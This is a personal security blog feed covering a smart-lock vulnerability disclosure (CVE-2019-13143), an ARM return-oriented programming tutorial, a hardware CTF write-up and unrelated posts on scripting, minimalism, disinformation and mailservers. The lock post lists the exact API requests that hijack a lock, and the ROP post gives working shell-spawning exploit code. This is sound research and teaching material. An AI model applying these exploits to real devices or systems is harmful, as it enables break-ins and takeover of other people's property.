DEV Community: Anirudh

Hacky scripts

Anirudh — Thu, 24 Oct 2019 00:00:00 +0000

As a CS student, I see a lot of people around me doing courses onlineto learn to code. Don’t get me wrong – it probably works for some.Everyone learns differently. But that’s only going to get you so far.Great you know the syntax, you can solve some competitive programmingproblems, but that’s not quite enough, is it? The actual learning comesfrom applying it in solving actual problems – not made up ones.(inb4 some seething CP bro comes at me)

Now, what’s an actual problem? Some might define it as real worldproblems that people out there face, and solving it probably requiresbuilding a product. This is what you see in hackathons, generally.

If you ask me, however, I like to define it as problems that you yourselfface. This could be anything. Heck, it might not even be a “problem”. Itcould just be an itch that you want to scratch. And this is where hacky scripts come in. Unclear? Let me illustrate with a fewexamples.

Now playing status in my bar

If you weren’t aware already – I rice my desktop. A lot. And a part ofthis cohesive experience I try to create involves a status bar up at thetop of my screen, showing the time, date, volume and battery statuses etc.

So here’s the “problem”. I wanted to have my currently playing song(Spotify), show up on my bar. How did I approach this? A few ideaspopped up in my head:

Send playerctl’s STDOUT into my bar
Write a Python script to query Spotify’s API
Write a Python/shell script to query Last.fm’s API

The first approach bombed instantly. playerctl didn’t recognize mySpotify client and whined about some dbus issues to top it off.I spent a while in that rabbit hole but eventually gave up.

My next avenue was the Spotify Web API. One look at the docs andI realize that I’ll have to make more than one request to fetch theartist and track details. Nope, I need this to work fast.

Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguablythe best choice, since it shows the track status regardless of wherethe music is being played. Here’s the script in its entirety:

#!/usr/bin/env bash
# now playing
# requires the last.fm API key

source ~/.lastfm # `export API_KEY="<key>"`
fg="$(xres color15)"
light="$(xres color8)"

USER="icyphox"
URL="http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"
URL+="&user=$USER&api_key=$API_KEY&format=json&limit=1&nowplaying=true"
NOTPLAYING=" " # I like to have it show nothing
RES=$(curl -s $URL)
NOWPLAYING=$(jq '.recenttracks.track[0]."@attr".nowplaying' <<< "$RES" | tr -d '"')

if [["$NOWPLAYING" = "true"]]
then
    TRACK=$(jq '.recenttracks.track[0].name' <<< "$RES" | tr -d '"')
    ARTIST=$(jq '.recenttracks.track[0].artist."#text"' <<< "$RES" | tr -d '"')
    echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST"
else
    echo -ne "$NOTPLAYING"
fi

The source command is used to fetch the API key which I store at~/.lastfm. The fg and light variables can be ignored, they’re onlyfor coloring output on my bar. The rest is fairly trivial and justinvolves JSON parsing with jq.That’s it! It’s so small, but I learnt a ton. For those curious, here’swhat it looks like running:

Update latest post on the index page

This pertains to this very blog that you’re reading. I wanted a quickway to update the “latest post” section in the home page and theblog listing, with a link to the latest post. This would requireediting the Markdown sourceof both pages.

This was a veryinteresting challenge to me, primarily because it requires in-placeediting of the file, not just appending. Sure, I could’ve come up withsome sed one-liner, but that didn’t seem very fun. Also I hateregexes. Did a lot of research (read: Googling) on in-place editing offiles in Python, sorting lists of files by modification time etc. andthis is what I ended up on, ultimately:

#!/usr/bin/env python3

from markdown2 import markdown_path
import os
import fileinput
import sys

# change our cwd
os.chdir("bin")

blog = "../pages/blog/"

# get the most recently created file
def getrecent(path):
    files = [path + f for f in os.listdir(blog) if f not in ["_index.md", "feed.xml"]]
    files.sort(key=os.path.getmtime, reverse=True)
    return files[0]

# adding an entry to the markdown table
def update_index(s):
    path = "../pages/_index.md"
    with open(path, "r") as f:
        md = f.readlines()
    ruler = md.index("| --- | --: |\n")
    md[ruler + 1] = s + "\n"

    with open(path, "w") as f:
        f.writelines(md)

# editing the md source in-place
def update_blog(s):
    path = "../pages/blog/_index.md"
    s = s + "\n"
    for l in fileinput.FileInput(path, inplace=1):
        if "--:" in l:
            l = l.replace(l, l + s)
        print(l, end=""),

# fetch title and date
meta = markdown_path(getrecent(blog), extras=["metadata"]).metadata
fname = os.path.basename(os.path.splitext(getrecent(blog))[0])
url = "/blog/" + fname
line = f"| [{meta['title']}]({url}) | `{meta['date']}` |"

update_index(line)
update_blog(line)

I’m going to skip explaining this one out, but in essence, it’s onemassive hack. And in the end, that’s my point exactly. It’s veryhacky, but the sheer amount I learnt by writing this ~50line script can’t be taught anywhere.

This was partially howvite was born. It was originallyintended to be a script to build my site, but grew into a full-blownPython package. I could’ve just used an off-the-shelf static site generatorgiven that there are so many of them, butI chose to write one myself.

And that just about sums up what I wanted to say. The best and most funway to learn to code – write hacky scripts. You heard it here.

Thoughts on digital minimalism

Anirudh — Sat, 05 Oct 2019 00:00:00 +0000

Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it’s my opinion on the matter, and my technique(s) to achieve “digital minimalism”.

According to me, minimalism can be achieved on two primary fronts – the phone & the computer. Let’s start with the phone. The daily carry. The device that’s on our person from when we get out of bed, till we get back in bed.

The phone

I’ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app—like OnePlus’ Zen Mode—to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.

My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle behind it – if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:

Twitter
Instagram (an exception, no desktop client)
Relay for Reddit
YouTube (disabled, ships with stock OOS)
LinkedIn

The only non-productive app that I’ve let remain is Clover, a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that holds up. I’ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.

I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only “fun” thing left on my phone to do is read or listen to music. Which is okay, in my opinion.

The computer

I didn’t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way.

My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t try to force myself to not use stuff – after all, I’ve reduced it elsewhere. :)

Now the question arises: Is this just a phase, or will I stick to it? What’s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There’s definitely some will power needed to pull this off. I guess time will tell.

Disinformation demystified

Anirudh — Tue, 10 Sep 2019 00:00:00 +0000

As with the disambiguation of any word, let’s start with its etymology and definiton. According to Wikipedia,disinformation has been borrowed from the Russian word — dezinformatisya (дезинформа́ция), derived from the title of a KGB black propaganda department.

Disinformation is false information spread deliberately to deceive.

To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:

creating disinformation (what)
the motivation behind the op, or its end goal (why)
the medium used to disperse the falsified information (how)
the actor (who)

At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.

In order to break monotony, I will also be using the terms “information operation”, or the shortened forms – “info op” & “disinfo”.

Creating disinformation

Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?

Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s likely true. To achieve this, the target — be it an individual, a specific demographic or an entire nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.

There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.

Here’s a tweet from the grugq, showing a case of recontextualized imagery:

Disinformation.

The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.

Recontextualisation as threat vector. pic.twitter.com/Pko3f0xkXC

— thaddeus e. grugq (@thegrugq) June 23, 2019

Motivations behind an information operation

I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.¹In offensive information operations, the target’s psychological state can be affected by spreading fear, uncertainty & doubt , or FUD for short.

Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.² Russian media is known to have desseminated a number of alternative & some even conspiratorial theories³, in response. The number grew as the JIT’s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to muddle the information space with these theories, and as a result, potentially correct information takes a credibility hit.

Another motive for an info op is to control the narrative. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.⁴ According to NPR:

Official state media pin the blame for protests on the “black hand” of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. …

Media used to disperse disinfo

As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s popularity.

Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory — the Internet Research Agency (IRA) to create discussions about alternative theories.

In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.⁵This is a difficult problem to combat, especially given the nature of the target audience.

The actors behind disinfo campaigns

I doubt this requires further elaboration, but in short:

nation states and their intelligence agencies
governments, political parties
other non/quasi-governmental groups
trolls

This essentially sums up the what, why, how and who of disinformation.

Personal OPSEC

This is a fun one. Now, it’s common knowledge that STFU is the best policy. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:

“Ugh, when will this hot streak end?!”
“Traffic wonky because of the Mardi Gras parade.”
“Woah, XYZ place is nice! Especially the fountains by ABC street.”

Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.

And please, don’t do this:

Conclusion

The ability to influence someone’s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.

A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.

This episode of CYBER talks about election influence ops (features the grugq!). ↩

The Bellingcat Podcast’s season one covers the MH17 investigation in detail. ↩

Wikipedia section on MH17 conspiracy theories ↩

Chinese newspaper spreading disinfo ↩

Use an adblocker before clicking this. ↩

Setting up my personal mailserver

Anirudh — Thu, 15 Aug 2019 00:00:00 +0000

A mailserver was a long time coming. I’d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.¹

For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot & Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, pretty tight.

What’s available

Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:

poste.io: Based on an “open core” model. The base install is open source and free (as in beer), but you’ll have to pay for the extra stuff.
mailu.io: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn’t need.
mailcow.email: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM plus swap?! Nope.
Mail-in-a-Box: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can’t afford to do that.
docker-mailserver: The winner.

So… `docker-mailserver`

The first thing that caught my eye in the README:

Recommended:

1 CPU

1GB RAM

Minimum:

1 CPU

512MB RAM

Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple & the docs are pretty good. It employs a single.env file for configuration, which is great. However, I did run into a couple of hiccups here and there.

One especially nasty one was docker / docker-compose running out of memory.

Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory

But it eventually worked after a couple of attempts.

The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated². The output under

config/opendkim/keys/domain.tld/mail.txt

isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into a TXT record.

This is what it looks like.

mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
      "p=<key>"
      "<more key>" ) ; ----- DKIM key mail for icyphox.sh

But while configuring the record, you set “Type” to TXT, “Name” to mail._domainkey, and the “Value” to what’s inside the parenthesis ( ), removing the quotes "". Also remove the part that appears to be a comment ; ----- ....

To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like mail.domain.tld using an A record. You’ll then have to set an MX record with the “Name” as @ (or whatever your DNS provider uses to denote the root domain) and the “Value” to mail.domain.tld. And finally, the PTR (pointer record, I think), which is the reverse of your A record — “Name” as the server IP and “Value” as mail.domain.tld. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.

Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the wikiand look at an example. In short, install certbot, have port 80 free, and run

$ certbot certonly --standalone -d mail.domain.tld

Once that’s done, edit the docker-compose.yml file to mount /etc/letsencrypt in the container, something like so:

...

volumes:
    - maildata:/var/mail
    - mailstate:/var/mail-state
    - ./config/:/tmp/docker-mailserver/
    - /etc/letsencrypt:/etc/letsencrypt

...

With this done, you shouldn’t have mail clients complaining about wonky certs for which you’ll have to add an exception manually.

Why would you…?

There are a few good reasons for this:

Privacy

No really, this is the best choice for truly private email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t dispute it. Quoting Drew Devault³,

Truly secure systems do not require you to trust the service provider.

But you have to trust ProtonMail. They run open source software, but how can you really be sure that it isn’t a backdoored version of it?

When you host your own mailserver, you truly own your email without having to rely on any third-party. This isn’t an attempt to spread FUD. In the end, it all depends on your threat model™.

Decentralization

Email today is basically run by Google. Gmail has over 1.2 _billion_active users. That’s obscene. Email was designed to be decentralized but big corps swooped in and made it a product. They now control your data, and it isn’t unknown that Google reads your mail. This again loops back to my previous point, privacy. Decentralization guarantees privacy. When you control your mail, you subsequently control who reads it.

Personalization

Can’t ignore this one. It’s cool to have a custom email address to flex.

x@icyphox.sh vs gabe.newell4321@gmail.com

Pfft, this is no competition.

My tweet of frustration. ↩

Link to step in the docs. ↩

From his article on why he doesn’t trust Signal. ↩

Picking the FB50 smart lock (CVE-2019-13143)

Anirudh — Mon, 05 Aug 2019 00:00:00 +0000

(originally posted at SecureLayer7’s Blog, with my edits)

The lock

The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.

The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.

We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) and the Android app.

Via Bluetooth Low Energy (BLE)

Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.

This is the value sent in the Write request:

We attempted replaying these requests using gattool and gattacker, but that didn’t pan out, since the value being written was encrypted.¹

Via the Android app

Reversing the app using jd-gui, apktool and dex2jar didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach – BurpSuite.

We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.

The exploit

The entire exploit is a 4 step process consisting of authenticated HTTP requests:

Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID
Using the barcode, fetch the user ID
Using the lock ID and user ID, unbind the user from the lock
Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock

This is what it looks like, in essence (personal info redacted).

Request 1

POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}

Response:

{
   "result":{
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}

Request 2

POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}

Response:

"result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":<USER ID>
   }

Request 3

POST /oklock/lock/unbind

{"lockId":"<LOCK ID>","userId":<USER ID>}

Request 4

POST /oklock/lock/bind

{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}

That’s it! (& the scary stuff)

You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that.

To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.² This is terrifying.

shudders

Proof of Concept

PoC Video

Exploit code

Disclosure timeline

26th June, 2019 : Issue discovered at SecureLayer7, Pune
27th June, 2019 : Vendor notified about the issue
2nd July, 2019 : CVE-2019-13143 reserved
No response from vendor
2nd August 2019 : Public disclosure

Lessons learnt

DO NOT. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).

The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments³, hardcoded keys, and poor development practices in general.

Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.

Researcher info

This research was done at SecureLayer7, Pune, IN by:

Anirudh Oppiliappan (me)
S. Raghav Pillai (@_vologue)
Shubham Chougule (@shubhamtc)

This article discusses a similar smart lock, but they broke the encryption. ↩

Thanks to Ilja Shaposhnikov (@drakylar). ↩

PDF ↩

Return Oriented Programming on ARM (32-bit)

Anirudh — Thu, 06 Jun 2019 00:00:00 +0000

Before we start anything, you’re expected to know the basics of ARM assembly to follow along. I highly recommendAzeria’s series on ARM Assembly Basics. Once you’re comfortable with it, proceed with the next bit — environment setup.

Setup

Since we’re working with the ARM architecture, there are two options to go forth with:

Emulate — head over to qemu.org/download and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links here. The scripts found inside should be self-explanatory.
Use actual ARM hardware, like an RPi.

For debugging and disassembling, we’ll be using plain old gdb, but you may use radare2, IDA or anything else, really. All of which can be trivially installed.

And for the sake of simplicity, disable ASLR:

$ echo 0 > /proc/sys/kernel/randomize_va_space

Finally, the binary we’ll be using in this exercise is Billy Ellis’roplevel2.

Compile it:

$ gcc roplevel2.c -o rop2

With that out of the way, here’s a quick run down of what ROP actually is.

A primer on ROP

ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the NX bit (no-execute bit) and code sigining. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as gadgets.

A gadget is essentially a small sequence of code (instructions), ending with a ret, or a return instruction. In our case, since we’re dealing with ARM code, there is no ret instruction but rather a pop {pc} or a bx lr. These gadgets are chained together by jumping (returning) from one onto the other to form what’s called as a ropchain. At the end of a ropchain, there’s generally a call to system(), to acheive code execution.

In practice, the process of executing a ropchain is something like this:

confirm the existence of a stack-based buffer overflow
identify the offset at which the instruction pointer gets overwritten
locate the addresses of the gadgets you wish to use
craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets

LiveOverflow has a beautiful video where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)

Still don’t get it? Don’t fret, we’ll look at actual exploit code in a bit and hopefully that should put things into perspective.

Exploring our binary

Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.

Now, open it up in gdb and look at the functions inside it.

There are three functions that are of importance here, main, winner and gadget. Disassembling the main function:

We see a buffer of 16 bytes being created (sub sp, sp, #16), and some calls to puts()/printf() and scanf(). Looks like winner and gadget are never actually called.

Disassembling the gadget function:

This is fairly simple, the stack is being initialized by pushing {r11}, which is also the frame pointer (fp). What’s interesting is the pop {r0, pc}instruction in the middle. This is a gadget.

We can use this to control what goes into r0 and pc. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers r0 to r3are used for this. So this gadget effectively allows us to pass arguments to functions using r0, and subsequently jumping to them by passing its address in pc. Neat.

Moving on to the disassembly of the winner function:

Here, we see a calls to puts(), system() and finally, exit(). So our end goal here is to, quite obviously, execute code via the system()function.

Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.

Messing around with inputs :⁾

Back to gdb, hit r to run and pass in a patterned input, like in the screenshot.

We hit a segfault because of invalid memory at address 0x46464646. Notice the pc has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.

Since we know the offset at which the pc gets overwritten, we can now control program execution flow. Let’s try jumping to the winner function.

Disassemble winner again using disas winner and note down the offset of the second instruction — add r11, sp, #4. For this, we’ll use Python to print our input string replacing FFFF with the address of winner. Note the endianness.

$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2

The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow push {rll, lr} (first instruction) to occur, the program will popthose out after winner is done executing and we will no longer control where it jumps to.

So that didn’t do much, just prints out a string “Nothing much here…”. But it does however, contain system(). Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).

To do that, we’ll follow a multi-step process:

Jump to the address of gadget, again the 2nd instruction. This will pop r0 and pc.
Push our command to be executed, say “/bin/sh” onto the stack. This will go intor0.
Then, push the address of system(). And this will go into pc.

The pseudo-code is something like this:

string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)

Clean and mean.

The exploit

To write the exploit, we’ll use Python and the absolute godsend of a library — struct. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.

Let’s start by fetching the address of /bin/sh. In gdb, set a breakpoint at main, hit r to run, and search the entire address space for the string “/bin/sh”:

(gdb) find &system, +9999999, "/bin/sh"

One hit at 0xb6f85588. The addresses of gadget and system() can be found from the disassmblies from earlier. Here’s the final exploit code:

import struct

binsh = struct.pack("I", 0xb6f85588)
string = "AAAABBBBCCCCDDDDEEEE"
gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538)

print(string + gadget + binsh + system)

Honestly, not too far off from our pseudo-code :)

Let’s see it in action:

Notice that it doesn’t work the first time, and this is because /bin/sh terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use cat(1) which allows us to relay input through it to the shell. Nifty trick.

Conclusion

This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.

Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.

Break the Ice — Hardware CTF

Anirudh — Fri, 15 Mar 2019 14:21:36 +0000

Break the Ice — Hardware CTF

SecureLayer7’s hardware CTF at Nullcon ’19, Goa

Earlier this month at Nullcon Goa, we had the chance to attempt a hardware CTF challenge designed by the folks at SecureLayer7. We weren’t able to solve it during the period of 2 days that we had (we had talks and parties to be at), but the SL7 guys were kind enough to let us keep the hardware and solve it back at home. Which we did, otherwise this write-up wouldn’t have happened :)

The Hardware

So what’s this cryptic “hardware” I keep mentioning, you wonder? It’s an ESP8266 board — better known as a NodeMCU. Here’s a picture.

Oh, and it came with a pretty OLED display too. So the obvious task at hand was to connect the display to the board. A quick search, and we found an (ever helpful) Instructables link with the image down below.

Not the same display, but it works

Mind you, we struggled quite a bit at this seemingly trivial step, but hey we’re CS students ;)

On connecting the device via USB, the board spins up a wireless hotspot called “Device-6”.

We tried to connect to this, but it was password protected. We’ll get back to it later.

Flash dump analysis

During one of the many web searches I made with regard to this board, an interesting tool showed up — esptool. A Python utility to communicate with the ESP8266. Wonderful.

This tool allows us to do a bunch of operations on the board, but what we’re actually interested in is reading the flash. After looking up the syntax for it, we arrived at:



› sudo ./esptool.py -p /dev/ttyUSB0 -b 460800 read\_flash 0 0x400000 flash\_contents.bin
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... ESP8266
Chip is ESP8266EX
Features: WiFi
MAC: 84:f3:eb:05:83:1e
Uploading stub...
Running stub...
Stub running...
Changing baud rate to 460800
Changed.
4194304 (100 %)
4194304 (100 %)
Read 4194304 bytes at 0x0 in 100.8 seconds (333.0 kbit/s)...
Hard resetting via RTS pin...

The command is fairly easy to understand, the -p flag denotes the serial port of our device, -b specifies the Baud rate and read_flash, well, reads the flash starting at 0 till 0x400000 which is 4MB.

We faced a lot of trouble here, since we kept reading only upto 2MB. Why? Because that’s what the command on the Internet said.

Anyway, we have our flash dumped into a file flash_contents.bin.

We then decided to run strings on the flash binary and peruse through the thousands of lines it had. Brilliant right? It was, actually. We found a bunch of interesting strings, along with what we guessed to be the wireless hotspot’s password. Spoiler alert: it was.

The entire dump was 6000+ lines. Did we actually do this D:

The go-to utility to (actually) analyze binaries is binwalk. The -e flag extracts the known file types it recognizes within the binary.



› binwalk -e flash_contents.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
283960 0x45538 Unix path: /root/.arduino15/packages/esp8266/hardware/esp8266/2.5.0/libraries/ESP8266WiFi/src/include/DataSource.h
289387 0x46A6B HTML document footer
291156 0x47154 HTML document header
291296 0x471E0 Unix path: /root/.arduino15/packages/esp8266/hardware/esp8266/2.5.0/cores/esp8266/abi.cpp
3145728 0x300000 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 139733 bytes, 10 inodes, blocksize: 131072 bytes, created: 2019-02-25 09:14:19

We see a squashfs filesystem here. binwalk creates a directory in your current path containing all the files and folders it managed to extract. cding into our squashfs folder, we see this:

Oooh yes. catting the file, we see:



› cat 1/Hidden.txt

######################################### Hints :) ########################################

---telnet server on esp

--Hunt the key to get MQTT creds
          -- 
--MQTT box

--Publish the correct message to get ^FLAG^

<<<<<<<<<<<<<<<< PUBLISH..... DISPLAY.... SUBMIT.... :) >>>>>>>>>>>>>>>>>>>>>>

Looking inside the directory named 2, we see another dir 3 containing a JPEG image and a file telling us about steganography.

And the final directory 4 had nothing in it but a file with the string flag. Probably to show up as a false positive in the strings output of the flash dump.

Connecting to “Device-6”

The first file we came across, containing the hints, mentioned a telnet server running on the board. But how do we reach it? Yep, via the wireless hotspot it exposes — “Device-6”. We authenticated using the PSK we found earlier.

On doing so, we’re prompted with a captive portal:

A few things can be done here, configure WiFi on the board, view some info about the board, and reset it. Let’s connect the ESP to our own SSID — like a mobile hotstpot.

Once that’s done, we should see the “Device-6” SSID disappear, indicating that the board is now connected to our own wireless hotspot. Another thing we notice is the board lights up, and so does our display!

That’s so sad. Alexa play Despacito.

The telnet server

Once our host machine and the ESP are on the same network, we can nmap our subnet to find our ESP’s IP.

nmap scan report

We see an http server running, which was obviously the captive portal, and our telnet server on port 23.



› telnet 192.168.43.223
Trying 192.168.43.223...
Connected to 192.168.43.223.
Escape character is '^]'.
Press Enter & sumbit your key :)
somekey
Wrong Key!!!

On connecting, we see a prompt asking for a key. And no, ‘sumbit’ was spelt that way ;)

Where could this key possibly be? Well, the only unexplored part of this CTF so far is the image file we came across before. So… steganography.

Although you won’t need it, I downloaded this Docker image for cracking stego — stego-toolkit. We then tossed the image under a bunch of steganography detection and breaking tools, but to no avail.

After a good while steghide gave us something:



› steghide extract -sf 10071856.jpg            
Enter passphrase:

This took really long for us to figure but the password was the name of the image file itself. Urgh. On entering the password, we get a keys.txt file. Here’s what it looked like:



So you guessed the password i think...

Nice!!!

Key is somewhere hidden in this strings ...

XH}<
TJJ\*
Y#pU
<g?/N
gr[i}5
>+h1
...snip...
jlW8B
yjbm
M4%'
tx;ZzL
3 k]
wPUf'rc
)Pz#
0AwN\
Lgr:J2
!H9u
4bSVy
(\*-C
nOf2E\

Aaaaaand key is not guessable ....

WARNING:Manual checking for correct key might take you 2 days to complete the challange!!

Nearly 600 lines of gibberish. We guessed that one of these strings had to be they key for our telnet session. We tried to automate it, but the telnet session was very unstable. So being the madmen we were, we did it manually. We had all the time in the world. Off we went, copy/pasting the keys in batches of 5… and it worked.

yeet

As the hint file mentioned, we had to connect to an MQTT instance somewhere and publish something for the flag. So this is what they were talking about.

